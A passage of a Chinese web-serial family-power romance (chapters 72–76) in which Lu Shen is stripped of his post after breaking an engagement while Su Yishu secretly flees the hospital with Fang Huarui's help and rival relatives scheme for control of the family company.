既然她得不到,那大家就一起下地狱!
“陆慎,你以为毁了我的订婚宴,你
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就能跟苏亦姝在一起了吗?”
她尖叫着,整个人陷入癫狂状态,面色狰狞又扭曲。
“我告诉你,这辈子都不可能!苏亦姝是你亲哥哥陆钦明媒正娶的妻子!她是你的长嫂!你们在一起就是罔顾人伦,就是**!江城的人会戳着你的脊梁骨骂你一辈子!陆家也不会允许!”
“够了!别说了!”陆老爷子气得胸口剧烈起伏,拐杖重重地砸在地上,那声“**”简直像是扇在陆家门楣上的耳光。
程丽梅更是羞愤难当,恨不得当场找个地缝钻进去。
不远处的陆子谦一家虽面色紧绷,眼底却藏不住幸灾乐祸。
陆域坐在轮椅上,手指摩擦着食指上的戒指,看着陆慎,眼底划过一抹异色。
程其训父子更是抱臂旁观,巴不得陆慎在这一刻名声扫地。
陆慎听到“苏亦姝”三个字从这个恶毒女人口中说出,周身的杀意几乎化为实质。
“赵西双,这是你自己找死的。”
陆慎冷冷开口,随即朝周轩做了个手势。
下一秒,大屏幕上的监控画面再度切换。
这一次,不再是赵家的内斗,而是赵西双在国外求学期间的一桩桩血案。
画面中,她如何指使当地黑帮**,如何利用赵家的名头在灰色地带**,甚至还有她为了讨好陆家,私下挪用他人科研成果的铁证。
每一条,都足以让她下半辈子在牢里坐穿。
赵西双看清屏幕内容的刹那,整个人像是被抽走了浑身的骨头,瞬间跌坐在地,面色颓败如死灰。
她以为远在异国他乡的秘密,竟全在陆慎的掌控之中。
陆慎冷笑一声,刚想再说些什么,却见周轩突然变了脸色,急匆匆地从台下跑上来,在他耳边低语了几句。
“三爷,不好了。医院那边……苏小姐不见了!病房里那个是替身!”
陆慎原本运筹帷幄的脸色瞬间僵住,眼神中闪过一抹从未有过的慌乱。
他立即抬脚准备离开。
陆老爷子见状,大声呵斥:“陆慎,你给我站住!”
第七十二章 鱼入瓮
陆慎根本没有理会陆老爷子在身后的咆哮,他周身散发的寒气让沿途的宾客纷纷避让。
那是他第一次在众目睽睽之下失了态,往日的冷静自持在听到“苏亦姝不见了”的一瞬间,彻底土崩瓦解。
他一路狂飙,黑色的劳斯莱斯在夜色中划出一道狰狞的弧线,轮胎摩擦地面发出刺耳的尖叫。
医院病房。
陆慎猛地踹开房门,原本该躺着苏亦姝的病床上,那个身形相似的女人正瑟瑟发抖地缩在角落。
陆慎一步跨上前,铁钳般的手死死掐住女人的肩膀,力道大得几乎要捏碎骨头,双眼猩红。
“人呢!带走她的人是谁?去哪了!”
女人被吓得嚎啕大哭。
“我……我不知道……有人给我一大笔钱,让我戴上假发躺在这儿装睡,还叮嘱我不管谁来都不要翻身说话……求求你放过我,我真的什么都不知道!”
陆慎狠狠将人甩在病床上,转头对着赶来的周轩怒吼。
“监控呢!我要看这二十四小时内所有的监控!”
“三爷,查过了……”周轩低着头,冷汗直流。
“对方是高手,带走苏小姐的时间段里,医院的监控系统遭遇了定向攻击,画面全是雪花。而且,对方用的是急救通道的救护车,连车牌都是**,线索全断了。”
陆慎一拳狠狠砸在坚硬的墙壁上,指节瞬间渗出血迹。
他却感觉不到疼。
“是谁带走了她?是别人强行带走她的,还是……她自愿走的?”
陆慎一时间,也分不清楚。
他猛然看向周轩。“方思荷呢?”
“方小姐还在病房躺着。”
“方华睿这段时间都在哪里?都在干嘛?”
“我……”周轩语塞,他没有去调查。
周轩刚要擦汗,走廊尽头便传来了急促且愤怒的脚步声。
“陆慎!你还有脸问我在哪?”
方华睿大步走来,平日里温润如玉的脸庞此刻覆满了寒霜。
他三步并作两步冲到陆慎面前,一把揪住陆慎的领口,由于用力过猛,手背上的青筋暴起。
“我刚才在陪思荷做检查!你答应过我会护好亦姝,结果呢?”方华睿双目圆睁,一脸愤怒。
“你为了跟赵西双订婚,把她一个人丢在病房里。现在人不见了,你跑来审问我?陆慎,你还是人吗!”
陆慎任由他揪着领口,那一双猩红的眸子死死盯着方华睿的眼睛,试图从那里面找出一丝心虚或破绽。
方华睿没有退缩,眼神里的愤怒与焦灼真实得没有半分杂质,甚至还带着一丝绝望的颓然。
“思荷还没醒,亦姝又丢了……要是亦姝出了事,我方华睿就算倾家荡产,也要让你陆慎抵命!”
陆慎盯着他看了许久,那种令人窒息的压迫感才缓缓收敛。
他甩开方华睿的手,声音冷硬。
“不是你最好。若是让我发现你玩什么花样,方家承担不起后果。还有,苏亦姝的事,轮不到你方华睿倾家荡产。”
陆慎转过身,看着空荡荡的病床,脑海中疯狂复盘。
如果是方华睿带走的人,他没必要在这个时候出现自投罗网。
而且,以方华睿的能力,想要躲过医院外围那些顶尖保镖的眼线,除非苏亦姝是自愿配合——可苏亦姝当时的伤势,根本支撑不了她做这么高难度的逃离。
“三爷,如果不是方少爷……”周轩在一旁低声分析,“能避开我们的眼线,又对医院地形这么熟悉的,恐怕只有……”
陆慎的眼神陡然一沉。
没错,除了陆家内部的人,谁还能在江城这块地盘上,悄无声息地从他眼皮子底下把人偷走?
“去查老爷子身边的管家!”陆慎寒声吩咐,“还有程丽梅这段时间联系的所有号码。赵家那边也别放过,赵西双虽然栽了,但赵家那个老头,不是省油的灯。”
方华睿在一旁听着,突然冷笑一声,语气里满是讥讽。
“陆慎,你身边全是毒蛇,你却想把亦姝圈在蛇窟里。这次带走她的人,不管是想拿她当筹码威胁你,还是单纯想要她的命,都是拜你所赐!”
陆慎心口猛地一缩,那种从未有过的恐慌如潮水般将他淹没。
他一直以为,把她困在病房,派重兵把守,就是对她最好的保护。
可他忘了,这江城想要苏亦姝命的人,数不胜数。
“陆总,老宅那边……”周轩接了个电话,脸色难看地走过来,“老爷子刚才发了话,让您立刻回去。说是……若是不回去,苏小姐这辈子您都别想见到。”
陆慎的瞳孔骤然放大,毫无迟疑,转身就往
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电梯口冲。
方华睿看着陆慎消失的背影,原本愤怒焦灼的眼神渐渐沉了下来,取而代之的是一抹深不见底的冷静。
他拿出手机,发了一条只有三个字的短信:
【鱼入瓮。】
陆家老宅,正厅。
订婚宴草草收场,但风暴并未平息。
沉香袅袅的厅堂内,气氛凝重得令人窒息。陆老爷子坐在主位上,脸色青紫交替,手中的核桃转得飞快。
“荒唐!简直是荒唐透顶!”陆家的二爷,率先发难,他重重地拍了下桌子。
“大哥,阿慎为了一个女人,竟然在订婚宴上公然悔婚,还搞出这么多丑闻。现在江城都在传我们陆家内部**,陆擎天的股票明天开盘就会跌停!这种德行,怎么能继续担**裁的位置?”
陆子谦也在一旁适时地添油加醋。
“是啊爸,阿慎这次确实太冲动了。他为了苏亦姝,连陆家的百年声誉都不顾了,再这样下去,陆擎天迟早要毁在他手里。我觉得,罢免他的职位,收回继承权,是当务之急。”
陆域坐在轮椅上没说话,但那副冷眼旁观的态度,显然也是在等着看陆慎坠落。
“你们闭嘴!”程丽梅见势不妙,尖叫着站了出来。
她虽然也气陆慎不争气,但陆慎是她唯一的指望,一旦陆慎倒了,她这个陆家夫人的地位也就彻底到头了。
“这一切都是那个**的错!”程丽梅指着门外,满脸恨意。
“是苏亦姝那个丧门星!是她勾引了阿慎,她故意在这个节骨眼上消失,就是为了拿捏阿慎,想让阿慎为了她身败名裂!阿慎是受害者,他是被那个狐狸精迷了心窍!”
“迷了心窍?”陆老爷子冷哼一声,眼神犀利。“若是定力不够,随随便便就能被人迷了心,那他也不配做我陆家的继承人!”
“爸,阿慎打小就听你的话,要不是苏亦姝那个扫把星……”
“够了!”老爷子一巴掌拍在桌上,震住了程丽梅的哭嚎。
他看着底下各怀鬼胎的众人,目光落在陆子谦父子身上,语气幽深。
“罢免陆慎,不是小事。但这孩子这次确实做得太过火了,我会考虑重新调整股权分配。”
二房一家听到这话,眼底闪过一丝狂喜。
就在这时,陆慎来了。
第七十三章 困兽犹斗
陆慎逆着光走进来,周身散发的森寒戾气让原本嘈杂的争吵声瞬间消失。
他没有看二房那一张张写满算计的脸,也没有理会哭得眼眶红肿的程丽梅,而是径直走到陆老爷子面前。
“人在哪?”
声音不高,却带着令人窒息的威压。
陆老爷子手中的核桃戛然而止,他抬起浑浊却锐利的眸子,冷哼一声。
“你还知道回来?看看你今天干的好事!赵家的门槛被你踩碎了,陆家的脸面被你撕烂了,你现在还有脸跟我问那个女人在哪?”
“阿慎!”程丽梅扑上来,死死拽住陆慎的衣袖,咬牙切齿地骂道。
“那个苏亦姝到底给你灌了什么**汤?她就是个扫把星,她故意失踪就是为了看我们陆家内斗!你爷爷说了,只要你现在回头,去赵家磕头认错,把西双接回来,今天的事我们还能压下去!”
陆慎嫌恶地甩开程丽梅的手,力道大得让她一个踉跄。
陆慎嘴角勾起一抹残忍的讥笑,目光环视全场。。
“去赵家道歉?娶那个**的疯子?你们是老糊涂了,还是被权力迷了眼?我再说一遍,人在哪。”
“陆慎!你这是什么态度!”陆家二爷猛地站起来,指着陆慎的鼻子骂道。
“你眼里还有没有长辈?为了一个克死亲夫的女人,你连陆家的前途都不顾了?你现在的职位、你手里的权力,都是陆家给的!”
“我给过你机会。”陆老爷子沉声开口,眼神中透着一股不容置疑的霸道。
“放下苏亦姝,对外宣布今天的悔婚只是个试探,择日再与赵西双完婚。否则,这擎天总裁的位置以及陆家继承人的身份,你今天就给我交出来!”
陆老爷子笃定陆慎不会放手。
擎天集团是他站在江城顶端的脊梁,没有人能舍弃这种翻云覆雨的权力。
二房一家屏住呼吸,眼神死死盯着陆慎,等待着他在这场博弈中低头。
然而,陆慎却突然笑出了声。
那笑容肆意而癫狂,仿佛听到了世间最荒谬的话语。
“职位?权力?”
陆慎慢条斯理地解开西装扣子,顺手将胸口那枚象征着陆家掌权人身份的蓝宝石徽章扯了下来,随手一抛。
“啪嗒”一声,徽章掉在冰冷的地砖上,滚到了陆子谦脚边。
“老爷子,你知道我当初为什么答应接手擎天?”陆慎逼近一步,压低的声音唯有老爷子能听清。
“我是为了能够离她更近一些,有足够的筹码把她护在羽翼下。如果这个位置护不住她,甚至成了你们拿捏我的枷锁,那我要这虚名有何用?”
“陆家,擎天,我都不稀罕。”
陆慎直起腰,眼神中是一片死寂般的冷漠。
“你们想要,尽管拿去。但如果我发现苏亦姝的失踪跟你们在场的任何一个人有关……”
他的目光如刀锋般扫过二房父子,最后落在程丽梅苍白的脸上。
“我会让整个陆家,为她陪葬。”
“你……你这个逆子!”陆老爷子气得浑身颤抖,捂着胸口大口喘气,“好,好!既然你不要,那从现在起,免去陆慎在擎天的一切职务!收回所有股份分红!滚!给我滚出陆家!”
“求之不得。”
陆慎转身,走得决绝,没有半分留恋。
程丽梅看着陆慎离去的背影,怒声喊着:“阿慎!你会后悔的!为了那个女人,你什么都没有了!”
陆慎跨出正厅大门,周轩已经等在外面,脸色严峻。
此时的赵家老宅,死寂中透着令人窒息的压抑。
满地的狼藉尚未清理,赵西双那一身沾满污渍的婚纱还没来得及换下,她像是一尊破碎的瓷娃娃,孤零零地站在大厅中央。
那些人的目光如刀似剑,嘲讽、嫌恶、甚至还有大房二房之间幸灾乐祸的博弈。
“老爷子。”
赵家管家满头大汗地冲进大厅,打破了这份死寂,因为跑的太急,上气不接下气。
“老爷,陆家那边传出消息……陆慎被罢免了!陆老爷子亲口免去了他在擎天的一切职务,连继承人的身份都剥夺了,让他滚出陆家!”
“什么?!”赵冬失声叫道,满脸不可置信,“陆慎疯了!”
整座大厅陷入了巨大的震惊之中。
赵西双低着头,原本死寂的眼眸微微颤动,随即竟然低低地笑出了声。
她笑着笑着,大颗大颗的泪水砸在灰扑扑的裙摆上,化成一片凄凉的深色。
“哈哈……哈哈哈哈!”
她笑得歇斯底里,眼底满是自嘲,“陆慎啊陆慎,我爱了你这么多年,求你一个回眸而不得。可那个苏亦姝,她什么都不用做,就能让你丢盔弃甲,甘愿沦为丧家之犬……”
这种认知,比被当众退婚更让她感到剜心剔骨的痛。
“行了,别在这发疯了!”赵冬厌恶地横了女儿一眼,随即转头看向赵老爷子,语气急切。
“爸,既然西双已经指望不上了,陆慎也倒了,咱们赵家得赶紧止损。赵辰这孩子虽然是私生,但能力不错,
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我想趁这个机会让他认祖归宗,接手西双手里那几个项目……”
赵老爷子还没说话,一直垂着头的赵西双猛然抬起脸,眼神冷冽如毒蛇。
“想都不要想!”她撑着破碎的裙摆站起来,直视着赵冬,语气阴森,“一个上不了台面的私生子,就如同阴沟里的老鼠,也配染指我赵西双的东西?”
“你这孽女!还敢顶嘴!”赵冬暴怒,扬起手就要一巴掌扇过去。
“赵冬,你敢动我女儿试试!”赵母尖叫着扑上来,死死拦住赵冬,两口子顿时扭作一团。
赵西双看都不看他们一眼,而是掠过混乱,目光直勾勾地锁定在主位上一言不发的赵老爷子身上。
“爷爷,我知道,今天的事情让赵家丢了脸,我成了全江城的笑话。”
赵西双一步步走向老爷子,声音冷静得可怕,“但是,我赵西双不认命。”
赵老爷子撩起眼皮,神色淡漠:“你拿什么不认命?你现在名声尽毁,陆慎恨你入骨,你还有什么筹码?”
“我手里,有爷爷您最感兴趣的东西。爷爷就不想,我赵家在这江城,超过陆家??甚至是,吞并了陆家!”赵西双压低声音,每一个字都像是淬了毒。
赵老爷子浑浊的眼球骤然紧缩,手中的玉串停下了转动。他盯着赵西双看了足足半分钟,似乎在审视这个孙女到底还有多少利用价值。
片刻后,他撑着拐杖站起身,声音沉哑:“跟我进书房。”
半小时后,书房门开。
赵西双再次走出来时,虽然依旧穿着那件破旧的婚纱,但脊梁挺得笔直,眼底的凄凉已荡然无存,取而代之的是一种破釜沉舟的狠戾。
“传我的话。”赵老爷子在书房内发话,声音威严如旧,“西双依旧是赵家的大小姐,她的一切,任何人不得染指。至于那个叫赵辰的……”
老爷子冷哼一声:“我赵家的大门,不是什么阿猫阿狗都能进的。让他滚回阴沟里待着。”
赵冬僵在原地,脸色青紫交替,原本志得意满的赵辰更是如遭雷击,死死捏紧了拳头。
赵西双路过赵辰身边时,脚步微顿,轻蔑地从牙缝里挤出一句话。
“看清楚了吗?即便我跌进泥潭,也能踩着你的头爬起来。因为——我姓赵,而你,永远只是个杂种。”
说罢,她头也不回地离去。
此时,她心里只有一个念头:陆慎,你为了苏亦姝可以不要陆家。那我就毁了陆家,看那个一无所有的你,还拿什么去护那个**!
第七十四章 乱了,乱了好啊
夜色浓重,陆慎的别墅内满地狼藉。
昂贵的红酒瓶碎了一地,空气中弥漫着刺鼻的酒精味和浓烈的烟草气息。
他颓然地坐在地毯上,衬衫扣子崩开了两颗,眼底布满了骇人的血丝。
陆家被罢免、擎天职位的动摇,这些能让江城大地震的变故,都没能让他皱一下眉,唯独那个女人的消失,像是一把生锈的锯子,日夜拉扯着他的心肺。
“砰!”
大门被猛地推开。
顾从之和陈淮看着眼前这副景象,齐齐愣在原地。
在他们的记忆里,陆慎永远是那个冷静、克制、算无遗珠的执棋者,何曾有过这样魂不守舍的颓态?
顾从之大步上前,一把夺过陆慎手里正要往嘴里灌的酒瓶,狠狠贯在墙角。
“陆慎!你看看你现在像什么样子!”顾从之怒声呵斥,“为了个女人,你连命都不要了,连陆家经营了这么多年的局也弃了?”
陆慎摇晃着站起身,伸手想去夺酒,嗓音嘶哑如砂砾磨过。“把酒给我……”
“给你妈!”陈淮也火了,指着他的鼻子骂道,“你以为你醉死在这儿,苏亦姝就能回来?现在擎天集团乱成一锅粥,股价跌停,好几个跨国项目因为没了你的签字全部搁置。老爷子在老宅气得几度昏厥,你要是再不振作,陆家二房那帮饿狼真要把你生吞活剥了!”
陆慎像是听不到这些,他只是自顾自地低声呢喃:“找不到……哪里都找不到。老宅没动静,程丽梅没动静,连赵西双那个疯女人都缩在赵家不出门……她到底在哪?”
顾从之冷冷地盯着他,语气烦躁,“你这个样子,就算找到了她,你觉得你能救得出她?如果她现在正陷入困境,正等着你去救命,你打算带着一身酒气去给她收尸吗?”
陆慎僵住了。
那双空洞的眸子终于聚焦,他死死捏紧拳头,由于用力过猛,指关节发出清脆的响声。
“我能救她。”
他抬头,眼神中透着一股偏执的疯狂,“她是我的命。就算是豁出去一切,我也会护着她。可是……”
他顿了顿,心脏像是被狠狠攥住,疼得他呼吸困难。
“从之,我怕……我怕是她自己想躲着我。医院的防守是我亲自布下的,如果没有她的配合,一般人带不走她。她是真的……连看都不想再看我一眼。”
顾从之和陈淮对视一眼,皆从对方眼里看到了凝重。
“如果是她自愿走的,那目标就变了。”顾从之冷静下来,拉过一张椅子坐下,“咱们不能光盯着陆家和赵家那几个明面上的蠢货。陆慎,你漏了一个人。”
陆慎眼帘微抬:“方华睿?”
顾从之点头,“没错。方华睿这几日虽然一直待在方思荷病房里,但他**静了。以他跟方思荷的兄妹感情,亦姝失踪他肯定会寻找,这本身就是最大的疑点。他在给你演戏,他在拖延时间。”
陆慎冷笑一声,眼底闪过一抹疯狂。
“对,我竟然忽略了方华睿。给我死死盯着方华睿。他就算掉一根头发,我也要知道落在了哪。”
……
与此同时,距离江城数百公里外的边陲小镇。
这里的空气中带着泥土的清香,没有江城的喧嚣与血腥。
一间民房内,苏亦姝脸色苍白地躺在木床上,左手的夹板还没拆,呼吸略显急促。
此时,方华睿坐在床边,熟练地为她更换着吊瓶。
“亦姝,药快滴完了,感觉好点了吗?”方华睿的声音温和,再也没有了在医院面对陆慎时的那副激愤。
苏亦姝缓缓睁开眼,看着简陋的屋顶,自嘲地勾起唇角。
“方大哥,对不起,又把你卷进来了。”
方华睿按住她的肩膀,示意她不要动。
“别说傻话。江城那边陆慎快发疯了,擎天和陆家的事情,他一概不管。但我知道,他很快就会察觉到不对劲,咱们在这里待不了多久。”
苏亦姝看向窗外,眼神空洞而决绝。
“我不回方家医疗中心,是不想陆慎顺藤摸瓜害了你。只要离开江城,他找不到我,就会慢慢死心。”
她闭上眼,脑海中浮现出方思荷护着她的那一幕。
她在等,等自己身体的恢复,等方思荷醒来,也在等,亲手解决了那些人……
边陲小镇的清晨,雾气弥漫。
方华睿帮苏亦姝换好药,眉宇间带着挥之不去的忧色。
苏亦姝撑着床沿坐起身,脸色虽依旧苍白,但眼神中透着一股不容拒绝的清醒。
“方大哥,你该回去了。陆慎不是傻子,他身边的顾从之和陈淮更不是吃素的。你在云城待得越久,露出的破绽就越多。”
方华睿皱眉:“可你的伤……”
“死不了。”苏亦姝惨然一笑。
“你现在回去,就按原定计划,以方家海外业务的名义公开在云城出差。至于来我这里的痕迹,必须彻底抹除。你要让陆慎查到你在云城,但要让他觉得你是在故意放**,明白吗?”
方华睿深深地看了她一眼,最终点点头。
他知道,苏亦姝早已不是那个需要人时刻遮风挡雨的弱女子。
方华睿离开后,屋内归于死寂。
苏亦姝拿出一台经过多重加密的电脑,指尖在键盘上飞快跳动。
没了江城那些眼线的日夜盯梢,她终于可以放开
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手脚。
苏亦姝拨通了一个海外号码,声音冷冽如冰,“喂,是我。通知华尔街那边的团队,开始暗中吸纳苏氏散落在外的股份。我要在苏振东察觉之前,拿到绝对控股权。另外……擎天那几个搁置的项目,想办法通过空壳公司接手一部分。”
她要的,不只是苏家的覆灭……
江城,陆家老宅。
正厅内的气氛比往日更加紧绷。
“爸!您到底在犹豫什么?苏亦姝那个丧门星都已经失踪了,趁现在赶紧发声明,让她和陆家彻底脱离关系!只要她不是陆家的儿媳,阿慎迟早会死心的!”
程丽梅早就想这么做了,这样,苏亦姝就落不着阿钦的遗产了。
陆老爷子猛地睁开眼,厉声呵斥。
“你懂什么!妇人之见!你以为脱离了陆家,阿慎就能消停?那是给了他名正言顺去抢人的借口!只要她一天挂着陆家‘长嫂’的名头,阿慎就得顾及这一层禁忌,不敢摆在台面上疯!”
老爷子心里比谁都清楚,陆慎是他耗费心血培养出来的最完美继承人。
二房的陆子谦急功近利,陆域虽有城府却还是不足,而且残了一双腿,只有陆慎,能撑起擎天的脊梁。
他不是在保苏亦姝,他是在等陆慎回头。
陆域坐在轮椅上,将这一切尽收眼底。他摩擦着指间的戒指,心中冷笑。
爷爷,您还是这么偏心。既然陆慎自毁长城您都不肯换人,那我就只能帮您一把,让这江城彻底换个天。
就在这时,管家神色高兴地跑进来。
“老爷……三爷一家,已经在回国的飞机上了。”
此话一出,满堂皆惊。
程丽梅的脸色微变,陆子谦眼眸一顿。
陆家老三陆子勋,那是老爷子曾经最宠爱的小儿子。
而他的儿子陆彦,当年在江城的天才之名甚至一度盖过陆慎。若不是陆钦作为长房长孙占了名分,若不是三房当年执意远走海外,这继承人的位置,搞不好就是陆彦的。
“阿彦也要回来?”陆老爷子眼中竟然浮现出一抹罕见的亮光,“好,回来好啊!擎天现在乱成这样,是该有个有分量的人回来镇场子了。”
这句话,无异于直接宣判了陆慎和二房的“死缓”。
另一边,陆慎也得知了陆子勋一家回来的消息,但是他并不在意。
周轩在旁颤声汇报:“三爷,方华睿那边有动静了。他确实在云城,但所有的行踪都没有任何隐藏,他在那边,是为了公司的项目过去的。”
陆慎盯着地图上云城的方位,沉默良久,突然沉声开口。
“彻查他在云城的踪迹,总会有线索的。”
第七十五章 老宅,演技博弈
江城机场,几辆挂着陆家老宅连号车牌的黑色轿车早已候在出口。
当陆子勋带着妻子儿女出现在众人视线中时,那种久居海外浸润出的矜贵感,瞬间让前来接机的众人感到了某种无形的压迫。
陆家老宅,正厅。
今日的老宅难得张灯结彩,桌上摆满了老爷子最爱的菜。
陆老爷子坐在主位,看着陆子勋,眼角的褶皱都舒展开了,那是这几天以来,他脸上第一次露出真切的笑意。
“回来就好,子勋,这些年在那边受苦了。”老爷子拍着陆子勋的手,感叹道。
“爸,看您说的,给陆家开拓海外版图,那是我的本分。”
陆子勋笑得儒雅,眼神却在席间扫视了一圈,最后落在程丽梅和二房一家身上,故作惊讶道,“大嫂,怎么不见阿慎?公司很忙吗?”
程丽梅脸色瞬间铁青,尴尬地扯了扯嘴角,还没开口,陆子谦就阴阳怪气地接了话。
“三弟你刚回来不知道,阿慎现在可是大忙人,为了个女人,连老宅的门都不进了。”
陆子勋脸上的惊讶恰到好处,他握着酒杯的手微微一顿,眉头随之紧锁,神情写满了关切与不敢置信。
“阿慎这孩子打小就稳重,怎么会做出这种事?”
陆子勋转过头,紧紧盯着陆老爷子,语气真挚得听不出一丝破绽。
“爸,二哥说的是真的?阿慎真的为了个女人连老宅都不回了?是不是公司压力太大,年轻人一时糊涂?”
这番话表面是在替陆慎开脱,实则每一个字都在提醒老爷子:陆慎现在已经“糊涂”到了不分轻重、弃家不顾的地步。
“糊涂?”陆老爷子冷哼一声,好不容易缓和的脸色再次沉了下去。
“我看他是疯了!为了个女人,连陆家的百年根基都能拿去豪赌,我陆家没这种不忠不孝的东西!”
陆子勋叹了口气,放下酒杯,一脸忧心地看向程丽梅。
“大嫂,阿慎平时最听你的话,你没劝劝他?那个女人到底什么来头,竟然能让阿慎自毁前程?”
程丽梅被问得哑口无言,一张脸涨成了猪肝色。
她总不能当着刚回国的三房面,亲口承认自己的儿子正和大儿媳、他的亲大嫂纠缠不清吧?
陆二爷端起酒杯,掩住嘴角那一抹幸灾乐祸的笑。
“三弟,你就别难为你大嫂了,那女人不是别人,正是阿钦的妻子,也是大嫂的儿媳妇苏亦姝。”
“什么?!”陆子勋这次是真的“惊”得站了起来,手中的**筷子险些跌落在地。
“这……这简直是荒谬!怎么就……就这么糊涂!这是要陷陆家于不义啊!爸,这种事若是传出去,咱们陆家在江城还怎么立足?”
他这一站,身后的陆彦也跟着站了起来。
他没有像陆子谦那样急不可耐地去踩陆慎一脚,而是伸手稳稳扶住陆子勋的胳膊,语气平和如温水。
“爸,您先坐下,别惊扰了爷爷的清净。三哥素来有主见,或许这中间有什么咱们不知道的苦衷也未可知。”
陆彦安抚好陆子勋,才转过头看向陆老爷子。
他没有直视老人的威严,而是垂下眼睑,恰到好处地露出一抹忧色。
“爷爷,您宽心。三哥即便真的被私情绊住了脚,想必也只是暂时的。他是您一手带出来的,骨子里流的是陆家的血,江山社稷孰轻孰重,他心里那杆秤不会彻底偏了。只是眼下江城流言纷纷,您得保重身子,只要您这根定海神针在,陆家就乱不了。”
这一番话,避开了陆慎**的禁忌,却又巧妙地坐实了陆慎“被私情绊脚”的事实。
最重要的是,他把老爷子高高捧起,给了老人最需要的尊严与台阶。
陆老爷子原本紧绷的脸色,在这几句温言软语中缓和了些许。
他看着陆彦,目光在那张温润的面孔上停留了许久,仿佛在通过这张脸寻找某种传承的稳定性。
“难为你刚回来,还知道疼惜我的身子。”
老爷子重重叹了口气,端起茶杯抿了一口,“若是那个逆子有你一半的省心,我也不至于在这些老友面前抬不起头。”
陆域坐在轮椅上,目光始终平静得像一潭死水,可搭在毯子下的手却紧紧攥成了拳。
他看着陆彦那副滴水不漏的做派,心底冷笑:好一个温润如玉的陆家子,这出“以退为进”玩得真高明。可他现在的状态,注定暂时只能做一个沉默的看客。
席间陷入了短暂的沉默,陆子勋放下筷子,眉宇间的忧色更甚,看似无意地问了一句:
“爸,既然阿慎现在……不在位子上,那擎天那边的情况如何了?公司如战场,一日无主便是一日的变数。特别是和赵家断了联姻,那几个能源合作项目怕是卡在那儿了吧?”
这句话
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像是一根软刺,精准地扎在了陆老爷子的痛处。
一时间,所有人的目光都汇聚在老爷子身上。
空气黏稠得让人呼吸沉重,每个人都在等那个决定。
陆老爷子目光深邃,他在陆彦的沉稳和陆域的阴鸷之间游走了一圈,最后又落在那枚掉落在地砖缝隙里的蓝宝石徽章上。
自那天陆慎扔掉之后,老爷子没发话,那枚徽章就一直搁置在那,没人敢捡起来!
“擎天这几十年什么大浪没见过,还没到分崩离析的时候。”老爷子声线沉稳,带着不容置疑的权威,“目前我亲自坐镇,公司乱不了。至于后期……”
他顿了顿,目光深沉地掠过陆彦那张温雅的脸。
“我会重新物色合适的人顶上去。”
这话一出,陆子勋父子对视一眼,眼底皆是计谋得逞的微光。
而程丽梅只觉得通体冰凉。
饭后,老宅的回廊里点起了古朴的宫灯。
陆老爷子带着陆子勋去书房下棋,程丽梅被陆子勋的夫人何婉如拉着忆往昔,剩下的年轻一辈散落在各处,心思各异。
陆域转动轮椅,正欲穿过长廊回房,却在转角处被一道修长的身影挡住了去路。
“二哥,夜里风凉,你这腿受不得寒,怎么不多加条毯子?”
陆彦负手而立,暖黄的灯光打在他那张温润如玉的脸上,显得愈发平易近人。
他紧走两步,动作自然地想要接过陆域轮椅的手柄。
陆域手腕一转,轮椅在方寸间滑过一个弧度,避开了陆彦的触碰。
他抬起头,那双终年阴郁的眸子此刻直勾勾地盯着陆彦,嘴角勾起一抹讥讽的弧度。
“陆彦,这里没外人,你也没必要在我面前摆出这副兄友弟恭的做派。你是什么样的人,我清楚,你也不必揣着明白装糊涂。”
陆彦的手悬在半空,却不见半分尴尬,反而极其自然地收了回来,揣进西裤兜里。
他依旧维持着那副谦谦君子的笑模样,有些无辜地挑了挑眉。
“二哥这话从何谈起?我这几年虽然在国外,但心里一直记挂着家里的兄弟。看到二哥如今这副模样,我这做弟弟的,确实心里难受。”
他一边说着,一边缓步绕到陆域身前,目光看似关切地落在那双盖着羊绒毯的废腿上。
“我听说,二哥这腿……是陪大伯母去万佛寺上香时出的事?”
第七十六章 各方异动
陆彦语气微顿,双眼紧盯着陆域的神色,面上带着难掩的关切,声音压低了几分。
“我还听说,当时那位大嫂苏亦姝,也跟着一起的,是吧?”
陆域的瞳孔骤然紧缩。
“你想说什么?”陆域死死捏紧了轮椅扶手,他心里清楚陆彦提及这话的意思。
“没什么,只是觉得可惜。”陆彦幽幽地叹了口气,眼神里流露出一种看似真实的同情。
“二哥为了陆家付出这么多,连腿都搭进去了,可爷爷眼里却只看得到三哥。三哥做出那种事情来,爷爷甚至……都还想着他能回头。只是……为二哥不值。”
陆彦逼近一步,声音轻得只有两人能听见。
“二哥,你疼吗?是腿更疼,还是心里的那份不甘更疼?”
这是赤裸裸的挑衅,也是最狠辣的心理攻势。
陆彦想看陆域失控,想看这个阴鸷的二哥在这老宅里露出爪。
然而,陆域却在极度的愤怒中,突然松开了拳头。
他仰起头,也笑了。那笑声低沉、沙哑,透着一股历经生死后的偏执与冷静。
“陆彦,你太小瞧我了。”陆域整了整膝盖上的毯子,语气恢复了往日的平稳,“你想拿我的腿来激怒我,让我做你手里的那把刀,去捅陆慎?”
他摇了摇头,目光如炬地盯着陆彦。
“你要是真有本事,就自己去跟陆慎硬碰硬。别以为在国外待了几年,回来说两句好听的话就能坐收渔利。陆慎即便被罢免了,他也是这江城的阎王。你这双细皮嫩肉的手,小心还没碰到印章,就被他连皮带骨地给撕了。”
陆彦的神色终于有了一丝细微的僵硬,虽然很快就被掩盖了过去,但那一抹转瞬即逝的阴霾,还是落在了陆域眼里。
“二哥说笑了,我只是担心家里而已。”陆彦重新站直身体,又是那副滴水不漏的模样。
“担心家里,还是担心位子,你自己心里清楚。”
陆域转动轮椅,临走前侧过头,声音冰冷,“别怪我没提醒你,苏亦姝那个女人,没你想象的那么好利用。你若是想借她的手杀陆慎,最后怕是被她反咬一口,连骨头渣子都不剩。”
看着陆域离去的背影,陆彦脸上的笑意一点点消失,眼底浮现出一抹从未有过的阴狠。
苏亦姝?大嫂?
陆彦突然很是好奇,到底是个什么样的女人,能让陆慎为之疯狂,就连陆域,对她也这般高看。
云城,私人机场的候机室内。
陆慎靠在真皮沙发上,修长的指尖有节奏地扣着扶手,发出的每一声闷响都像是敲在周轩的心头上。
他在得知方华睿来云城之后,就坐不住了。任何一丝有关能找到苏亦姝的可能,他都不想放过。
“三爷,云城这边……方华睿除了在方思荷名下的几处地产转了转,没有任何异样举动。”
周轩低声汇报,额角沁出一层薄汗,“倒是江城那边,三房刚落地,动作就大得没想遮掩。陆子勋这几日频频约见擎天的老董事,甚至连几个原本中立的海外项目负责人,也被陆彦私下请去喝了茶。”
陆慎听着这些,连眼皮都没抬一下,嘴角挂着一抹极其轻蔑的弧度。
